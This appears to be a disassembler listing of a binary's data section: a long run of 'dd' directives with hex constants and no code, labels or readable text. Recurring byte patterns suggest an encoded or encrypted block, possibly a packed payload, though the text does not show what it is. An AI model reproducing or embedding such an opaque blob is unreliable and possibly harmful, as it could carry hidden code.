		dd 3D952CD0h, 3256EE3Ch, 533615B1h, 2DDFB5D0h, 52565DB1h
		dd 3256BF59h, 299AF7B1h
		dd 0B58A85DDh, 146F47Bh, 9EC79D8h, 3D0E8EAEh, 3256BA3Eh
		dd 52033CB1h, 324647D1h, 238957B1h, 0E2046C44h,	5CEEB825h
		dd 48EAB2D9h, 3D37D726h, 52376006h, 37E83BD1h, 0DA07CF65h
		dd 325657BCh, 0F4883120h, 87E49D55h, 3C92EA03h,	530E2AA8h
		dd 3D36563Ah, 8B309E0Eh, 5237843Ch, 3258D0BEh, 3D36ABB1h
		dd 3256D538h, 32DAE5B1h, 535675B1h, 3256BA59h, 0D8D707B1h
		dd 345B3A4Eh, 83EF31D1h, 0E4DDCD01h, 8830B5D0h,	54363B20h
		dd 544A840Fh, 5337423Ah, 0DB5E283Ah, 3256AEA0h,	0A10EB20Fh
		dd 0D9DC15CAh, 590A71B2h, 864070Eh, 3C049DE7h, 35BFBAB1h
		dd 0AF565DB1h, 3297E289h, 0DB0305CCh, 3256ABBDh, 0FA92DF87h
		dd 0BE664294h, 9E737151h, 406C284Eh, 0DBA35BBCh, 3256AEB7h
		dd 0DF743F79h, 0CE0B90C6h, 3D5AA08Ah, 0CDA92A34h, 33D57A4Eh
		dd 0CB56BAB1h, 32585659h, 39D9A1B1h, 525657B1h,	14C77530h
		dd 8D59AD82h, 0DB378B6Ah, 325675B9h, 29ECC975h,	875166B3h
		dd 32444778h, 67C457B1h, 627E8C4Ch, 5A54832Ah, 3AB10DADh
		dd 35912595h, 0DB56B273h, 32565DA0h, 0AC0771DAh, 3F292D65h
		dd 9C35F1ADh, 0E8054549h, 0DB0313BEh, 325675A0h, 0B81BC890h
		dd 0D9E33E9h, 327256E3h, 886DA0F7h, 52BA20A2h, 1AFA6EE2h
		dd 530D949Ch, 3DAAB132h, 3256AF32h, 3246B4B1h, 4ADFAEB1h
		dd 0AD292B42h, 0CEC4A19Dh, 0D07D2D6Eh, 0CA005D25h, 325D9CE6h
		dd 8C6FBAB1h, 0A085F409h, 1EE02EBAh, 34BF04E2h,	0AB56ABB1h
		dd 17CB842Dh, 325602DAh, 0B30C75B1h, 3FC0825Bh,	37D252B7h
		dd 5256AEB1h, 538DE0BEh, 28D0A4D1h, 0DA56D5B1h,	3256EAA5h
		dd 67D1B8B7h, 4A4FFDA1h, 896B6752h, 70D203E8h, 0A6389B14h
		dd 51882AEEh, 53516E09h, 525E9F3Ah, 325AFEBEh, 35BFBAB1h
		dd 0BE565DB1h, 82900C6Bh, 0A0ED685Dh, 530004F1h, 222B5E4Dh
		dd 64AABD44h, 3250F9BEh, 5236BAB1h, 530C0BD0h, 32571259h
		dd 6CEE37B1h, 0B37DB5AAh, 0D3C0B052h, 3ABF8BCFh, 0BC5675B1h
		dd 351F814Dh, 3916B192h, 1BD2A171h, 3D5657B0h, 3256AA3Bh
		dd 0CADD29B1h, 32516ABEh, 0BA5975B1h, 3256BAB0h, 3245B44Dh
		dd 0B446AEB1h, 0AAA921Fh, 46F109A4h, 6526BD07h,	9E8B15C2h
		dd 3FBF20A2h, 9A56BAB1h, 2E3A0C8Ch, 2752FE7Ah, 0A8CDC3E7h
		dd 325723BEh, 0CDAED5B1h, 3F24D023h, 2BDB7AB7h,	5256BAB1h
		dd 32565259h, 0CFC7DBB1h, 2978D2BAh, 33A8B0A7h,	989D5BB9h
		dd 530FB8EBh, 0FCD713D1h, 0DB04B1D2h, 32565DA3h, 1C2F1126h
		dd 1234AB36h, 0EA89B771h, 0A04E0AEDh, 530F3E23h, 32509CECh
		dd 0B3B9BAB1h, 1DA9A868h, 325E24BEh, 0B35957B1h, 3256ABB3h
		dd 476DB4D1h, 4BD2E5BDh, 525675B1h, 73E8C400h, 53430E35h
		dd 0CA4825D7h, 0CAA6B031h, 3D36B53Bh, 0B0591A0Eh, 3256EAB5h
		dd 0D49ECED7h, 0C2B53AD0h, 0F9DD3BD1h, 39BFCED0h, 0D95657B1h
		dd 0DD72DE9Eh, 0FB78B66Bh, 0FADDA89Ch, 11BB9DD0h, 3FBFBAB1h
		dd 0C5565DB1h, 0EA2013FCh, 81C7040Ch, 43D58C5Fh, 3256DA58h
		dd 5E1E04B1h, 0D0CED8D4h, 1448CB02h, 9B5AA4CBh,	0CDA80258h
		dd 3250BE4Eh, 0BA2FABB1h, 73BA6798h, 3DAA9738h,	32566539h
		dd 325D53B1h, 34A85DB1h, 4E60BF7Fh, 31A14961h, 0C7C543E1h
		dd 69AA2A4Eh, 6CA3B544h, 0CE13FE44h, 325952D1h,	45AA5DB1h
		dd 3746ED61h, 0DAE83EE5h, 6662252Ah, 1388544Fh,	6C30B42Bh
		dd 32567358h, 0B2B564B1h, 53657AAFh, 32534778h,	5F6D57B1h
		dd 0F0A344B4h, 3D36D5BDh, 3256EC3Fh, 0F1B5F4B1h, 5451B34Ch
		dd 0C16E9A30h, 0B9A3FBD0h, 3247BE5Dh, 605AABB1h, 1E9083C6h
		dd 0A5772h, 0EF5D6022h,	0CECF8971h, 0DBAE9932h,	3256AEB7h
		dd 21B18F41h, 5201E89Bh, 32545CBEh, 5336EAB1h, 64376706h
		dd 3256BC58h, 4A0632B1h, 63629E51h, 0F8DD31D1h,	0AAFE3E0Fh
		dd 22BFB4B8h, 2156EAB1h, 9F56E4DFh, 55D0DF4h, 0FFA3AA01h
		dd 6151F945h, 32565158h, 53CB9EB1h, 0F553F8FBh,	325612F4h
		dd 0F5AE75B1h, 3F256433h, 32565CB7h, 47DD56B1h,	0BC5937B9h
		dd 3256ABB3h, 5437043Ah, 22BFF43Ah, 3F5675B1h, 6C78E421h
		dd 311E5CDh, 0F7F79933h, 0B9863BD4h, 3F27230Bh,	0B930B5B7h
		dd 0FCD78C67h, 0B937C0F2h, 39AAB2EEh, 63D2526Ah, 0CA56AEB1h
		dd 0B759898Ah, 3256ABACh, 3E0B5E44h, 3E096348h,	32566558h
		dd 1E3E88B1h, 9F9A8F2Ch, 13B1A8A8h, 7E2D3EBAh, 2691286Bh
		dd 3256DB58h, 10A218B1h, 125931B0h, 2BD79586h, 52152993h
		dd 0B3305C05h, 53E8F556h, 0CDA90158h, 54AEB54Eh, 5331C70Ah
		dd 0DB48FED7h, 3256BAA1h, 0C4FA81Ah, 0D78462F8h, 7B46E0D5h
		dd 3CB3F72Fh, 3DBE2E31h, 32558235h, 883015B1h, 0FCD621FAh
		dd 0C9D63C50h, 64D2A158h, 0CE5657B2h, 3DBD5031h, 32559935h
		dd 3AD3E5B1h, 525675B1h, 549E31D7h, 0B237AD3Ah,	0B6594C4Ah
		dd 325654A7h, 0D1AD2B44h, 309451BEh, 0B359EAB1h, 325675B8h
		dd 5437DAD1h, 30899330h, 0C9D7C8D0h, 0B659B4D6h, 3256A943h
		dd 0C2B15549h, 325E6EBEh, 0B45975B1h, 3256BAB3h, 0B3303CD1h
		dd 3DD6A14Ah, 3254A335h, 0B2AA53B1h, 54362552h,	23122430h
		dd 3255F2BEh, 0B930BAB1h, 0C9D63C48h, 0E4D2A1C1h, 0CB5657B3h
		dd 3D4820D7h, 3256D436h, 0D1D612B1h, 0F4D71549h, 0DBE3E3Dh
		dd 538CE2BEh, 3DEE5531h, 3257C035h, 0BC5952B1h,	3256D5A9h
		dd 3256F958h, 0E23924B1h, 6D5EB21Ah, 0F79EB9F7h, 0FD5CCD27h
		dd 0E4F1F3EDh, 3D539531h, 3257BA35h, 33D4E5B1h,	0CE5675B1h
		dd 3256A958h, 2D3DA1B1h, 9556E59Ah, 0E03D0613h,	0D4A9DD8Bh
		dd 0BEB933B7h, 3D7BD431h, 32573235h, 3EDCB5B1h,	52565DB1h
		dd 731D11D7h, 3256DFBEh, 0B237ABB1h, 0B659BD8Fh, 3256EB9Dh
		dd 26B0F4D1h, 536AA82Ch, 32565258h, 0E00E40B1h,	8435F588h
		dd 0A8B9CF2Ch, 0C1627EFDh, 4188684Eh, 0DB3673BCh, 3256BAA0h
		dd 6D4B1700h, 0DEF16434h, 82861955h, 0DE3D9047h, 37D9DAD9h
		dd 5456EAB1h, 46888430h, 325853D0h, 88175DB1h, 0EF83180h
		dd 59F589B0h, 118F8CE5h, 52485ED7h, 3256E059h, 20001EB1h
		dd 47930BD0h, 3D7131F3h, 540E7D06h, 3D379D3Ah, 3256A333h
		dd 30D9DAB1h, 5256EAB1h, 0CAB1F5D0h, 53AA30D1h,	0B3ADDCD7h
		dd 0ABD2A159h, 3D5657B1h, 3256AC35h, 0FCD6B5B1h, 53B86077h
		dd 0CB48FED7h, 0CBA65D31h, 3257D6BEh, 54A3AEB1h, 0F2D7AC30h
		dd 32242FBEh, 3D36D5B1h, 3256E830h, 3D0F25B1h, 52374C0Eh
		dd 32565158h, 16DE20B1h, 4B7B6161h, 59DDB79Dh, 0C7AF802Dh
		dd 406C784Eh, 3ABF73BCh, 8956BAB1h, 55432A16h, 6FC1F6A8h
		dd 3257D5BEh, 0BBAAABB1h, 0B95929F4h, 3256EAB0h, 0B159144Dh
		dd 3256BAB5h, 53AAA8D1h, 33AAD332h, 3040D2BEh, 0BC59ABB1h
		dd 3256D5A1h, 3256E158h, 0BBC937B1h, 0D307A205h, 343000B1h
		dd 385B143Ah, 0B93651B6h, 32D9A446h, 5356D5B1h,	33D9E5E1h
		dd 0CB5675B1h, 4188383Ah, 54365BBCh, 0DB4C400Eh, 325657B9h
		dd 90A2D90Fh, 55C3D161h, 26AD3D0h, 3257FCBEh, 6AAEBAB1h
		dd 33E8DFBEh, 6536AEB1h, 6D97DCD7h, 3256B959h, 6A038AB1h
		dd 0FF7CD712h, 0B17FBED2h, 81EDE5E2h, 0B84230C9h, 0B937F06Ch
		dd 357A120Bh, 0C5D7CBB7h, 5D29088h, 95E1FF0Eh, 0DB061493h
		dd 3256BAB7h, 0ED90C611h, 0B9A390F3h, 3F258933h, 0B259CBB7h
		dd 3256D5B5h, 35ED55D7h, 3649CCD7h, 26A83D0h, 3252D3BEh
		dd 6436AEB1h, 3D0E36EBh
		dd 3257F83Eh, 58BF2DB1h, 0CB56EAB1h, 30AE3076h,	3D56BAB1h
		dd 3256563Eh, 0B359CEB1h, 325657B1h, 53BB6731h,	32569958h
		dd 324503B1h, 0B6E775B1h, 58CE1FE7h, 0BDDEF280h, 4708B764h
		dd 27138C3Ch, 3246429Ch, 229FD5B1h, 6A63D09Ah, 0BAD5C532h
		dd 808489B2h, 77918A96h, 3256AF49h, 3245BEB1h, 0F78BABB1h
		dd 49A1D318h, 2F4B7A73h, 0E8CE80F9h, 13304497h,	0BAECD6E5h
		dd 5250A3C0h, 0FFD6813Ah, 2DDDCAC8h, 3256D858h,	0B377D7B1h
		dd 0CD93F6AAh, 686882CEh, 0E95D15ECh, 32EC2ABEh, 3DAE57B1h
		dd 3256AA39h, 0EC6D2CB1h, 32D56FBEh, 52AE75B1h,	3256AA58h
		dd 0ED4B97B1h, 75115E2h, 750C9F12h, 3054CBB2h, 5EE8B5EDh
		dd 0DA6F486Ch, 325675BEh, 2623252Fh, 0A91B8057h, 0B1618A0Ch
		dd 68E85A70h, 6FDDCAD0h, 37D9DABDh, 5256EAB1h, 5396CABEh
		dd 32AEC732h, 3275D9BEh, 3EBFAEB1h, 765657B1h, 2344794h
		dd 0BD118377h, 317AEB8Bh, 38BF8DECh, 0B856BAB1h, 6D5549F1h
		dd 6F4DA59Ah, 3609DEAEh, 3256A758h, 59E5A9B1h, 0A355ACB5h
		dd 4B22E572h, 269139B4h, 0CD1EB44Dh, 0BF59514Eh, 325657B9h
		dd 32542ABEh, 5336D5B1h, 0B2362A82h, 85599350h,	88BFDB78h
		dd 0CE565DB5h, 524825D7h, 32565C58h, 0E9BFB2B1h, 5322CDD0h
		dd 6EAE70B2h, 424E6408h, 4FDDDBFFh, 0C9D6A8BDh,	3D2A15Ah
		dd 0DB5657B1h, 3256ABBAh, 22469DB3h, 0E4F6EC39h, 0B2602A89h
		dd 8C364A52h, 5EEF96C1h, 42AD2ED0h, 322ED3BEh, 0DBA3ABB1h
		dd 3256D4E0h, 0E8E9E5D1h, 53A9CABEh, 0DBBFBD77h, 32565DBAh
		dd 2BFDB15Ah, 0E3380495h, 0F56CB298h, 3256D4F6h, 5236EAB1h
		dd 0B330A23Ah, 53CCF15Eh, 0C64D9A30h, 0B937B63Ah, 25D85876h
		dd 0DB56ABB1h, 3256D5A3h, 12EA148Dh, 0FF262B6Bh, 0D9310D70h
		dd 2C1FCD1Fh, 0F2D52F3Fh, 3CBFA2B4h, 0CE56ABB5h, 3256C458h
		dd 0C89F8B1h, 4C2C9886h, 0D7EFD62Dh, 9794C68h, 0F5300683h
		dd 0DB5E58B6h, 3256ABB8h, 0E52C290Eh, 854196FAh, 5248FFDCh
		dd 2B0E4830h, 0B5595721h, 3256AEB4h, 0D4B7D6D7h, 0B659CA31h
		dd 3256D5A8h, 3256FE58h, 0C4F3D9B1h, 349B2557h,	317E2DE2h
		dd 2964DA22h, 921126ABh, 3DB52B30h, 3256D258h, 0F16251B1h
		dd 2CC538F4h, 0DBD67131h, 32565DA3h, 0B33ED317h, 3098AE2Dh
		dd 70828D81h, 344D2B64h, 6DDEAAB0h, 3D3615B0h, 3256BA36h
		dd 0DB363CB1h, 3256AEB8h, 0C98C0060h, 0F343AA04h, 32D4DA1Eh
		dd 5356EAB1h, 75918CD0h, 3256BAB3h, 3DD052B1h, 0DB56AEB1h
		dd 325657BBh, 5C10D2D6h, 5F22E15Fh, 0F5DD4829h,	32567E58h
		dd 0AF43CFB1h, 0F15C2230h, 1E1A3BF2h, 0C7509732h, 32558758h
		dd 32593CB1h, 0D981EAB1h, 72E5E8Fh, 9B91F8AFh, 15A81401h
		dd 0CD7C862h, 0B659C721h, 3256AB37h, 324156BEh,	20BFEAB1h
		dd 935675B1h, 0C7041062h, 4B8CD00Bh, 367177C2h,	9F2E2473h
		dd 3246425Ch, 239DD5B1h, 733167F8h, 53BD849h, 6CD4D463h
		dd 0CD62C99h, 0B4D3A121h, 3D5657B1h, 3256B93Dh,	325B3CB1h
		dd 7C49EAB1h, 326E94A8h, 94E54BBh, 54056494h, 0A2A9D030h
		dd 15D25821h, 0CB56ABB1h, 32568958h, 22BF8AB1h,	25675B1h
		dd 16218A88h, 4524CED0h, 39BD5CC7h, 52E5EDEAh, 325627BEh
		dd 5336D5B1h, 0F5DD8BD0h, 26BE15D1h, 0F756BAB1h, 714AF972h
		dd 0A34F304Dh, 0B19F5B28h, 0D87D8B02h, 6B1A7860h, 539561D7h
		dd 5385CABEh, 3254E658h, 38BFA4B1h, 0A356AEB1h,	36D7178Ch
		dd 52D396C5h, 34D45805h, 5250E7C4h, 32567A59h, 0C2E788B1h
		dd 68FA13F9h, 0A49B81A2h, 1647FB2Ah, 72F56130h,	8A09D946h
		dd 6CECF0CEh, 32459CD0h, 1286BAB1h, 1238FDDFh, 0B5B3E9EDh
		dd 0F5F308CCh, 933484B3h, 3D36853Bh, 54073906h,	530D863Ah
		dd 0E5D6DAE7h, 0BF593D34h, 3256AEB1h, 63A3020Eh, 0CD37CAC2h
		dd 3F24BA23h, 325D03B7h, 63C675B1h, 74961018h, 0A2760F06h
		dd 3D96A59Ah, 32566235h, 33D0A4B1h, 0CE56D5B1h,	324262BEh
		dd 3DBF75B1h, 1656BAB1h, 398E99ABh, 23C6F67h, 68F99EFh
		dd 0FADD74A8h, 34E4584Dh, 5250E7C4h, 5385FED7h,	3256E358h
		dd 0CB00A8B1h, 5436603Ah, 0DB079C3Ah, 3256ABB7h, 91A46B02h
		dd 530F0A2Eh, 0A0A98DE4h, 345BC88Bh, 3258B4D1h,	1CCEAEB1h
		dd 16142AC1h, 0D6E7B5B3h, 8CFC120Ch, 0B8850330h, 6F373703h
		dd 3D989148h, 32565C3Bh, 0EBA152B1h, 325CDFBEh,	0B936ABB1h
		dd 32D3DA62h, 5356EAB1h, 4FD580EFh, 0B759BB49h,	32565D33h
		dd 0F4D7C8D1h, 0BD5978FDh, 3256ABB7h, 32565ABEh, 8237EAB1h
		dd 32429CF8h, 83B6BAB1h, 0C34B0187h, 0BD4F2A03h, 62F0416Dh
		dd 0A4E45018h, 0CAFCC9C3h, 0B75952D7h, 0CAFD1349h, 33100CBEh
		dd 3253B5D1h, 0FA50AEB1h, 0B3731876h, 1843B641h, 0B3308B99h
		dd 53543760h, 32429C1Ah, 0C2B1BAB1h, 9B6B2DDFh,	310B999Fh
		dd 4BAE2A07h, 507831F0h, 0F1BF1E1Bh, 0DB56EAB1h, 325675BBh
		dd 0BA08D8EBh, 205E1825h, 4FD58F02h, 0B7595549h, 3256AB3Ch
		dd 32405DBEh, 23BFEAB1h, 6B5675B1h, 20E52F49h, 657C024Dh
		dd 5914345Ch, 2EF45FC4h, 39EECD49h, 99302978h, 3256E358h
		dd 7CDB93B1h, 4EF95F2Eh, 8A307F2Ah, 52AA2ABEh, 0ECA8E8D7h
		dd 0AFA14D1h, 0B65990F1h, 3256EAB1h, 993014D0h,	324D3ABEh
		dd 0DA365DB1h, 3256AEA2h, 21D17CCAh, 38F8EE7Bh,	7E3929Dh
		dd 0C707078h, 6DD45C09h, 74E0B5D0h, 325DB4B0h, 3EEAEB1h
		dd 6254F9BCh, 0FC3344C4h, 0DBA37E47h, 3256EA93h, 0F9E97AD1h
		dd 52F249D0h, 0DB9EEABEh, 3256AEA0h, 0E944F7D3h, 4B332BC1h
		dd 0E202C85h, 0C3FA9138h, 0F5DD1482h, 3D36E144h, 0CA36A60Eh
		dd 5337793Bh, 0BD5937E8h, 3256ABB1h, 5208B449h,	3D098B49h
		dd 32566238h, 324453B1h, 9C6A5DB1h, 0B8A30CD2h,	4A9375A1h
		dd 1FBEFB0Eh, 0A27B421Ah, 3A941F78h, 35D97AB1h,	3D56BAB1h
		dd 32565C3Bh, 0DB0352B1h, 325657BEh, 0E260B6DAh, 3559B479h
		dd 190F7BE8h, 0B99BEECCh, 2FD5B55Dh, 3D565DB1h,	3256B939h
		dd 3244BEB1h, 0AB86ABB1h, 388A164Ch, 674AFC13h,	0A1034596h
		dd 56F16857h, 0B6593DD1h, 3256AEB1h, 3256BFD0h,	0B30CABB1h
		dd 3FF5F95Bh, 22BF12B7h, 0ED5675B1h, 488224E0h,	684A50CEh
		dd 0A2AE00D2h, 0CB598DE2h, 3D5EEE3Ah, 3256D83Bh, 325E03B1h
		dd 4C5875B1h, 0DB0F1579h, 0B0DFF6AAh, 345BDF74h, 3BBF3648h
		dd 0C056ABB1h, 842B6920h, 8D8AACB6h, 37BFBC49h,	9C56BAB1h
		dd 0CA9239Eh, 5256AA73h, 0B330A707h, 53AF8353h,	3EDEDAE4h
		dd 3D56EAB1h, 32567339h, 32DCB5B1h, 0B9565DB1h,	0C3D6CE5Dh
		dd 5F03EDCFh, 0B137F9C3h, 0B2592D75h, 3256EAB0h, 32429C4Dh
		dd 0E332BAB1h, 787D1DF6h, 48AE86EEh, 0EFC84F6Ah, 8EAFE1C4h
		dd 52365C34h, 0B9F93230h, 0B0EC5781h, 533AF913h, 3256B549h
		dd 0B30CAEB1h, 3FF5B35Bh, 5436CBB7h, 3D44B10Eh,	53371506h
		dd 0CA13B249h, 3256BAB1h, 325FB4D1h, 64EDAEB1h,	65D44653h
		dd 3D14A324h, 3256D339h, 32D2E5B1h, 535675B1h, 32AAFF76h
		dd 0CB565DB1h, 0DBAE6E82h, 325657B8h, 1027A44Ah, 372A74ADh
		dd 2CDD8CA9h, 32566158h, 9A9F39B1h, 415970B5h, 498EBAA6h
		dd 16FA37BCh, 0D8F0ABF5h, 0ECD412BFh, 3350E7C2h, 0DB5675B1h
		dd 3256BAB9h, 93F5C1B2h, 0B11CB988h, 0A2ADD6D7h, 33D3A421h
		dd 0C756D5B1h, 3DBE1131h, 3252DF35h, 0EDDDDAB1h, 69A6D6E7h
		dd 0B859EED0h, 325657B0h
		dd 0DBAD2B48h, 36C751BEh, 8C36EAB1h, 0DDD60DBh,	3256BC58h
		dd 72141CB1h, 53A1202Dh, 35BF37F1h, 8756ABB1h, 3C92D503h
		dd 0B930CBA8h, 0C9D61442h, 56D2B55Ah, 3D565DB5h, 3256AF36h
		dd 3D36ABB1h, 3256AA3Ch, 0B93020B1h, 0CB168B43h, 52A69231h
		dd 0C7734E31h, 0C9D73BD0h, 0B6592EBEh, 3256538Ah, 37D4A84Dh
		dd 5250D2AFh, 2DB10A30h, 0E4DD1AB6h, 0B2A3FAD0h, 0B659BF4Ah
		dd 3256AD48h, 3257DFBEh, 0B2A3ABB1h, 0B659364Ah, 3256E97Fh
		dd 3244F4BEh, 3FBFBAB1h, 16565DB1h, 2A3E80F1h, 0DF42FD14h
		dd 6074FC58h, 55AD54D7h, 0F4D2E552h, 525675B2h,	48FC460Ah
		dd 0B4593DC7h, 3256AEB1h, 538CE8BEh, 0C2B52BD0h, 3256DC58h
		dd 8D138FB1h, 83C59BF6h, 0B3591476h, 32565DB4h,	0C73C1BD1h
		dd 42ADD7D0h, 31E32FBEh, 54A3D5B1h, 34BFF43Ah, 825675B1h
		dd 0FAAFC490h, 0CAB5DDF1h, 32512ABEh, 523657B1h, 0E1E1A4D0h
		dd 0B5E8B5D0h, 0DA0F54A3h, 325675B6h, 0D458C172h, 638F4DD6h
		dd 0B237F1E8h, 0B659EF4Ah, 3256AAC4h, 37685548h, 333D6EBEh
		dd 0B2A375B1h, 0B659978Fh, 32565CD0h, 32572DBEh, 0B2AF57B1h
		dd 0B659C38Fh, 3256D4E0h, 3256F958h, 8AC552B1h,	93A67A95h
		dd 0B53673B9h, 4EEC94BFh, 4B2462C5h, 35DDA4F1h,	3D56D5B1h
		dd 3256EB3Bh, 0B0A98CB1h, 345BC96Fh, 34D152D1h,	3D56AEB1h
		dd 3256573Bh, 0CAE1A4B1h, 2CDDB3D0h, 0CAB16A44h, 3257F4BEh
		dd 54AFBAB1h, 0DAD7A630h, 32AD2ABEh, 54AA57B1h,	5236B53Ah
		dd 52985ED7h, 85598BD0h, 0D5D61476h, 32465341h,	955DB1h
		dd 0E67FEC11h, 600A8ADEh, 9FFA9C96h, 23BF79C8h,	0D356EAB1h
		dd 0E1E7D294h, 0ACFFB78Bh, 0CEC24C8Dh, 0F7C9C048h, 0B3ADD6D7h
		dd 80D2A471h, 0CE56D5B1h, 33DEE5D1h, 0CA5675B1h, 325D53E4h
		dd 90345DB1h, 5AABB28Fh, 904C05B0h, 8C45437h, 5250D8C3h
		dd 325903D1h, 587975B1h, 0A5F2B6CFh, 56B6F1EDh,	9F4828B1h
		dd 3245BF72h, 2BEEABB1h, 3A00A46Ah, 0EAD472FCh,	0DC9D1798h
		dd 6A504A7Eh, 3D37024Bh, 6F377106h, 98EF31D1h, 8830CB70h
		dd 0B9301923h, 0BB378B4Fh, 3CBF89F4h, 0E556BAB1h, 27A3071h
		dd 0EFE52091h, 85B89h, 20BFCAFCh, 8056D5B1h, 0BFD9559h
		dd 0C5677718h, 24D1028Dh, 0F70D215Eh, 4FD552F6h, 0B759564Dh
		dd 3256ADB9h, 3256C558h, 0C47ECB1h, 0CC51840h, 7E73B2h
		dd 17145916h, 3FEC252Bh, 3D5050BBh, 3256B834h, 32583CB1h
		dd 0E3ACEAB1h, 91E5A1ACh, 8311821Fh, 3BC13A42h,	2BD2A1E1h
		dd 0DB5657B1h, 3256ABA5h, 12487652h, 2CEE17DDh,	88712A1Eh
		dd 96A2A616h, 8679994Eh, 553016D1h, 0DCD7111Eh,	2B5B2D2Ch
		dd 0ECD45ED0h, 5250E7C2h, 8195F4D7h, 325352D9h,	22515DB1h
		dd 3DE37E88h, 32565732h, 0B37F0B1h, 0CEAEE58Dh,	4FD4E5E9h
		dd 0DB5675B4h, 3256BABBh, 10700BA6h, 0D086DEBAh, 88DDAA4Ah
		dd 345187F4h, 3256C658h, 0BF2EB9B1h, 4E752211h,	0EBE6A33Eh
		dd 7A5981C7h, 0AAF482C6h, 325CBEE1h, 3EEFABB1h,	9A462558h
		dd 97BCDDC4h, 4188F73Ah, 0BB59BCBCh, 32565DB9h,	32542ABEh
		dd 533657B1h, 0CB669788h, 325152BEh, 5236EAB1h,	0E2DD13D0h
		dd 0BD59E2D0h, 325658A5h, 2DEECED1h, 0DB025C53h, 3256ABB7h
		dd 11A1EB2Eh, 0B93752EDh, 88DD146Fh, 345BCB2Ah,	325ED4BEh
		dd 0BA59AEB1h, 325657B3h, 0B0D5CAD1h, 345BA42Ah, 0C6D68AA5h
		dd 8C3023F7h, 530EDF15h, 0BBAF6A38h, 62AEBEF6h,	0EBE958D1h
		dd 53A620D7h, 4188573Ah, 0BE59ECBCh, 325675B6h,	325737BEh
		dd 0C7AF5DB1h, 5266B23Ah, 0DA96E8BEh, 3256ABBEh, 751686E7h
		dd 78CD8E78h, 0BA0B6F9Eh, 6B55719Ch, 38BE3DD0h,	0CC56AEB1h
		dd 0CF93BE4Ah, 0A59B3DE6h, 20BE8F7Eh, 5B56EAB1h, 0BD1F2664h
		dd 575C0B3Dh, 7C8F05CAh, 0FB4B8AC2h, 6A370E03h,	3256A758h
		dd 0AC8E94B1h, 7294A1ACh, 915C2AADh, 3A093346h,	3604B44Dh
		dd 0DA36AEB1h, 325657A3h, 27AF9E54h, 5F667A58h,	0B5180F2Dh
		dd 34DA5B6Dh, 0B930520Dh, 0B9300473h, 7791CF43h, 32565549h
		dd 325F42B1h, 0DEE9D5B1h, 8BE139EDh, 0DB811F3Fh, 3256BA96h
		dd 0CA139A44h, 3256AEB0h, 32565F58h, 0A67544B1h, 21411D07h
		dd 3EDAE52Bh, 3D5675B1h, 3256BC3Fh, 32D652B1h, 0B956AEB1h
		dd 3F27CC0Bh, 5405CBB7h, 0FED42330h, 34D6E5EEh,	3D5675B1h
		dd 3256BA3Eh, 3EBF3CB1h, 0DD56AEB1h, 878F9626h,	0FD092C26h
		dd 0B10DCA6Ah, 3F277133h, 3CBF61B7h, 3656BAB1h,	28C5944Dh
		dd 57B69DC8h, 78ACEF28h, 5DF52D9h, 34D9DAD1h, 3D56EAB1h
		dd 32567530h, 65E8DCB1h, 75DF3C15h, 8559CEA1h, 53B7DD6Ah
		dd 3D555332h, 3256F234h, 33DBE5B1h, 0CB5675B1h,	0ECD47D48h
		dd 305050C2h, 0DB56AEB1h, 325657B4h, 37526BC9h,	32463C61h
		dd 6536EAB1h, 537AC4EBh, 3D544232h, 3254403Ch, 4FD556B1h
		dd 0B6595749h, 3256AB29h, 8459294Dh, 8936EBF7h,	5E149305h
		dd 3256B058h, 66C787B1h, 58A07F34h, 53B63C1Eh, 32562B18h
		dd 2AD3DAB1h, 0CB56EAB1h, 0B33015F1h, 54E94D5Eh, 99F79A30h
		dd 37BE2DD0h, 3217BE44h, 1FA3ABB1h, 3256D54Eh, 325E63BEh
		dd 0B25975B1h, 3256BAB3h, 0DAD53CD1h, 0B159CEB4h, 325657B3h
		dd 5436EB01h, 8EE53630h, 3256F959h, 7A6BBCB1h, 0CF4FC8A4h
		dd 0BA55B2F2h, 71034E32h, 0C944D776h, 0DB37CAEAh, 3256D5D4h
		dd 325863BEh, 3BBF75B1h, 6256BAB1h, 31D584F6h, 4E9441CDh
		dd 53AA37E2h, 4188313Ah, 6036D3BCh, 0C7088BD1h,	152FED0h
		dd 3256A858h, 7D4D10B1h, 3FDB9198h, 60D44D83h, 958B1BECh
		dd 0DB68E248h, 3256EABFh, 0C74B4D05h, 18D1C6EAh, 8DA1A79Eh
		dd 520DEEA8h, 61BED6D7h, 37D2A4E0h, 5456D5B1h, 35E0B30h
		dd 3256DCD0h, 0B7593AB1h, 32565D1Fh, 3256A158h,	15F79EB1h
		dd 0A5C3DFADh, 7751DED6h, 7C903228h, 21BFB3B2h,	0F256BAB1h
		dd 0B5E0A03Bh, 926A1185h, 14302ADDh, 0D011B803h, 0F2D583E9h
		dd 325D03B4h, 0B09675B1h, 26AA7BC1h, 0D212D99Eh, 0ECD4ADBDh
		dd 0CA505AC2h, 75DF53F9h, 0DB362DB9h, 3256EAB6h, 9C9B422Fh
		dd 8D293F73h, 247635E9h, 3E1127D0h, 24D558D1h, 0DA56ABB1h
		dd 3256D5A1h, 8D4416A6h, 7DEACEFBh, 12208F71h, 7406A025h
		dd 35BFCEEBh, 625657B1h, 0FEFA6304h, 5337C0F6h,	32575558h
		dd 32429CB1h, 62C5BAB1h, 457612ADh, 4FB4E425h, 6EE943FDh
		dd 628D9985h, 0EAA10405h, 41EF8CD1h, 0F47D14FDh, 3256B258h
		dd 3D5599B1h, 22110F58h, 0DB8EA048h, 3256ABB4h,	0E5C77AC1h
		dd 37966919h, 32567B58h, 2D3B7FB1h, 666D644Ch, 922F4746h
		dd 31146F32h, 3F257533h, 521E2DB7h, 0FDE79B03h,	3A11FCD0h
		dd 3256B358h, 1F4B3DB1h, 29E7D1FFh, 75DF7B22h, 325C42BDh
		dd 7950D5B1h, 71EDA5ECh, 0AA2FC4FCh, 32578D58h,	0F265A8B1h
		dd 3256AB58h, 92085DB1h, 74DC934Fh, 0E0D6B5B0h,	0B2FE8BF1h
		dd 32C3F0BEh, 0B336BAB1h, 9A87077Ah, 0F455CFBFh, 325EDEBEh
		dd 3D36ABB1h, 3256D532h, 0F2D58BB1h, 0F8D615B3h, 33EDDBBDh
		dd 0CE565DB1h, 0B65975BAh, 3256579Ah, 1BCC214Dh, 0DB50D91Fh
		dd 3256EABBh, 0A2B4FA4Eh, 1F22CE4Ch, 0D1D63C8Eh, 325B47B0h
		dd 36E57B1h, 5963F43Ch,	48B07EA7h, 316C8108h, 33D17A72h
		dd 0CA56BAB1h, 525E1A38h, 325020BEh, 0DDD757B1h, 56F1F010h
		dd 0CB372C3Ah, 0CB5AAD38h, 3256EE58h, 0B330DAB1h, 0DA74475Ah
		dd 3256AEB6h, 0A66CFF5Eh
